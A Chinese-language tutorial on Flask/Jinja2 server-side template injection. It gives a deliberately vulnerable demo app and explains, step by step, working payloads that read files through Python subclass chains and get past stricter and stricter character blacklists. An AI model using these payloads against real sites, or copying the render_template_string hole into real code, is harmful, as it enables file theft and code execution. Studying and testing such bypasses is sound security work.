Flask Bypass 进阶
这里总结一些过滤和绕过的手法。
Sheet 1
绕过 _ . '这三个
有一种写法,在模板注入时可以使用,但正常的python语法是不支持的。
在模板注入过程中,下面两种写法是等价的。
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
"\x5f"是字符 ”_“,”\x2E"是字符 "."。
那么,读取文件可以这样写(_frozen_importlib_external.FileLoader'的get_data()方法,第一个是参数0,第二个文件名)
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}
Sheet 2
简单的Flask程序示例:
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")
def index():
exploit = request.args.get('exploit')
rendered_template = render_template("app.html", exploit=exploit)
print(rendered_template)
return render_template_string(rendered_template)
if __name__ == "__main__":
app.run(debug=True)
对应的模板:
{# $>cat templates/app.html #}
{{exploit}}
a.绕过 '__'
过滤举例
exploit = request.args.get('exploit')
print exploit
blacklist = ["_"]
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400
除了request.__class__
,还可以用request.["_class_"]这种写法,即数组+字典下标的方式。但是仅使用这个方法是不行的,因为在render的时候就已经进行了对引号的转义,并且黑名单中的字符仍然存在。
注意到request变量可以访问所有我们提交上去的变量,可以使用request.args.<param>
的语法,再传入一个<param>来构造变量。
这样就获得了一个绕过的方法:
- EXP:
/?exploit={{request[request.args.pa]}}&pa=**class**
b.绕过'request[request.'
blacklist = ["__","request[request."]
Jinja有类似Linux管道机制的语法,即'|'符号。
利用此语法加上attr()方法,就可以达到在方括号中书写属性名称一样的效果。
request | attr(request.args.a)
等价于request["a"]
- EXP:
/?exploit={{request|attr(request.args.pa)}}&pa=**class**
c.绕过'_class_'
blacklist = ["__","request[request.","__class__"]
使用管道+join方法,可以进行字符串的拼接操作。
["a","b","c"]|join
等价于abc
。
- EXP:
/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
这段的执行步骤是:
带入变量
{{request|attr(["_"*2,"class","_"*2]|join)}}
调用join方法
{{request|attr("_\_class_\_")}}
调用attr方法
{{request._\_class_\_}}
d.绕过'[' 和 ']'
blacklist = ["__","request[request.","__class__",'[',']']
可以使用元组('a','b','c')
的方式给join
传递参数,这样既可绕过方括号。只要把上一个EXP的方括号替换成圆括号即可,不过还有一个更优雅的方案。
使用 .getlist()
方法得到一个列表,这个列表的参数可以在后面传递,具体示例请看EXP
EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
e.绕过"|join"
blacklist = ["__","request[request.","__class__",'[',']',"|join"]
使用管道+format方法,用格式化字符串生成被过滤的字串。
EXP:/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
这里f作为格式化字符串,其中的%s
被a='_'
替换。